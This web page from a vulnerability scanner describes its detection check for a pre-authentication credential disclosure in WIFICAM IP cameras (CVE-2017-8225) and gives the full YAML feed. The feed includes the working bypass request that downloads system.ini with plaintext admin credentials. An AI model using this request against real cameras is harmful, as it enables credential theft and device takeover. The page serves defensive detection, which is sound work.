WIFICAM — 1 vulnerability check

noctis ships 1 vulnerability check for WIFICAM, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

WIFICAM (P2P) IP cameras — pre-auth system.ini credential disclosure

CVECVE-2017-8225
Severitycritical · CVSS 9.8
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/wificam/CVE-2017-8225.yaml

Multiple white-label WIFICAM / P2P IP cameras (GoAhead-based) return their binary configuration file system.ini — including the plaintext admin credentials — to an unauthenticated request carrying the empty parameters loginuse and loginpas. The feed downloads the file through the bypass, checks it is the camera configuration (size > 4000 bytes, not HTML, MAC address / IPCAM / admin marker, WIFICAM login.cgi variables) and proves the bypass by showing the same file is refused without the parameters.

How noctis detects it

  1. HTTP(S) request GET /system.ini?loginuse&loginpas
  2. HTTP(S) request GET /system.ini
  3. HTTP(S) request GET /login.cgi
  4. Parses / computes the next value with a Rhai script
  5. Checks cam.summary for without the bypass refused: true → finding QoD 75: WIFICAM pre-auth credential disclosure confirmed (configuration with plaintext credentials downloaded without authentication; password not …
  6. Checks cam.summary for HTTP 200 → finding QoD 75: WIFICAM system.ini configuration (plaintext credentials) disclosed without authentication; password not reported — …

References:

Feed source — tests/vulnerabilities/wificam/CVE-2017-8225.yaml
# WIFICAM (P2P) IP cameras — pre-auth system.ini credential disclosure
# CVE-2017-8225. The same 2017 advisory (Pierre Kim) also covers CVE-2017-8221..8224
# (backdoor account, hard-coded keys, RTSP without auth, cloud, set_ftp.cgi RCE);
# this feed does not test those, so it reports only CVE-2017-8225 (the NASL lists
# all five, which would claim four untested CVEs).
#
# Ported from OpenVAS/Greenbone NVT `2017/gb_mult_ip_cameras_mult_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.106636, GPL-2.0-only). Same request, same markers.
#
# ~1250 white-label "WIFICAM" / P2P camera models run a vendor-modified GoAhead
# web server. Its .ini access control is broken: adding the empty parameters
# `loginuse` and `loginpas` to the URL skips authentication, so
#   GET /system.ini?loginuse&loginpas
# returns the binary device configuration — camera name (IPCAM), MAC address
# and the plaintext user accounts and passwords. The IoT botnet "Reaper" used
# this in 2017 to take over the cameras (then root RCE via set_ftp.cgi).
#
# Proof (read-only, the exploit itself): the configuration file is actually
# downloaded without credentials. Nothing is written, no command runs.
#
# Improvements over the NASL:
#   - Differential proof of the authentication bypass: the same file WITHOUT the
#     bypass parameters must be refused (not 200). The NASL only checks the
#     bypassed request, so a camera serving system.ini to anyone (or any large
#     page) looks the same as the bug. Confirmed bypass → confidence 0.90.
#   - The NASL's "admin" >< res accepts any 4 kB HTML page that mentions
#     "admin" (login forms do); here an HTML reply never counts.
#   - The NASL's login.cgi check uses the relative URL "login.cgi"; it is sent
#     as "/login.cgi" here.
#   - No secret reaches the finding: system.ini and login.cgi both carry the
#     plaintext password, so the match runs on a summary of booleans/lengths.
# The NASL path alone (disclosure + login.cgi marker, no differential) still
# fires at 0.80.
uid: d4246a11-2094-4614-a8f0-592eef6b7a77
name: "WIFICAM (P2P) IP cameras — pre-auth system.ini credential disclosure (CVE-2017-8225)"
description: |
  Multiple white-label WIFICAM / P2P IP cameras (GoAhead-based) return their
  binary configuration file system.ini — including the plaintext admin
  credentials — to an unauthenticated request carrying the empty parameters
  loginuse and loginpas. The feed downloads the file through the bypass,
  checks it is the camera configuration (size > 4000 bytes, not HTML, MAC
  address / IPCAM / admin marker, WIFICAM login.cgi variables) and proves the
  bypass by showing the same file is refused without the parameters.
cves: [CVE-2017-8225]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [wificam, goahead, camera, iot, auth-bypass, credential-disclosure, reaper]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-8225"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-8221"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-8222"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-8223"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-8224"
  - "https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-8225.yaml"
  - "OpenVAS NASL 2017/gb_mult_ip_cameras_mult_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.106636, GPL-2.0-only)"

steps:
  # Pre-init the stored results: a failed request leaves its store_as unset, and
  # an undefined variable would abort the summary script.
  - id: init-ini
    action: set_var
    var_name: ini
    var_value: ""

  - id: init-plain
    action: set_var
    var_name: plain
    var_value: ""

  - id: init-login
    action: set_var
    var_name: login
    var_value: ""

  # The exploit (NASL url): empty loginuse/loginpas skip authentication.
  - id: bypass-download
    action: http_request
    method: GET
    path: "/system.ini?loginuse&loginpas"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: ini

  # Differential: the same file without the bypass parameters.
  - id: plain-download
    action: http_request
    method: GET
    path: "/system.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: plain

  # NASL confirmation: the WIFICAM login.cgi script variables.
  - id: login-cgi
    action: http_request
    method: GET
    path: "/login.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: login

  # Summary without any secret (both replies carry the plaintext password).
  - id: summarize
    action: script
    store_as: cam
    code: |
      let ini_ok = type_of(ini) == "map" && ini.status == 200;
      let body = if ini_ok { ini.body } else { "" };
      let size = strlen(body);
      let html = ereg("<html", body, true);
      let mac = ereg("([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})", body);
      let ipcam = stridx(body, "IPCAM") >= 0;
      let admin = stridx(body, "admin") >= 0;
      let disclosed = ini_ok && size > 4000 && !html && (mac || ipcam || admin);
      let refused = type_of(plain) == "map" && plain.status != 200;
      let login_ok = type_of(login) == "map" && login.status == 200
        && ereg("var loginpass=\".*\";", login.body);
      let summary = "system.ini?loginuse&loginpas: HTTP 200, " + size + " bytes decoded (binary config"
        + ", MAC address: " + mac + ", IPCAM: " + ipcam + ", admin account: " + admin
        + "); /system.ini without the bypass refused: " + refused
        + (if refused { " (HTTP " + plain.status + ")" } else { "" })
        + "; /login.cgi WIFICAM loginpass variable: " + login_ok;
      #{
        disclosed: disclosed,
        refused: refused,
        login_ok: login_ok,
        summary: summary
      }

  # Confirmed bypass: file disclosed only with the bypass params + WIFICAM login.cgi.
  - id: bypass-confirmed
    action: match
    source: cam.summary
    pattern: "without the bypass refused: true"
    condition: "cam.disclosed == true && cam.refused == true && cam.login_ok == true"
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 75
        evidence: "WIFICAM pre-auth credential disclosure confirmed (configuration with plaintext credentials downloaded without authentication; password not reported) — {{cam.summary}}"
      stop: true

  # NASL path: disclosure + login.cgi marker, or disclosure + differential.
  - id: disclosure
    action: match
    source: cam.summary
    pattern: "HTTP 200"
    condition: "cam.disclosed == true && (cam.login_ok == true || cam.refused == true)"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "WIFICAM system.ini configuration (plaintext credentials) disclosed without authentication; password not reported — {{cam.summary}}"
      stop: true

View these feeds on GitHub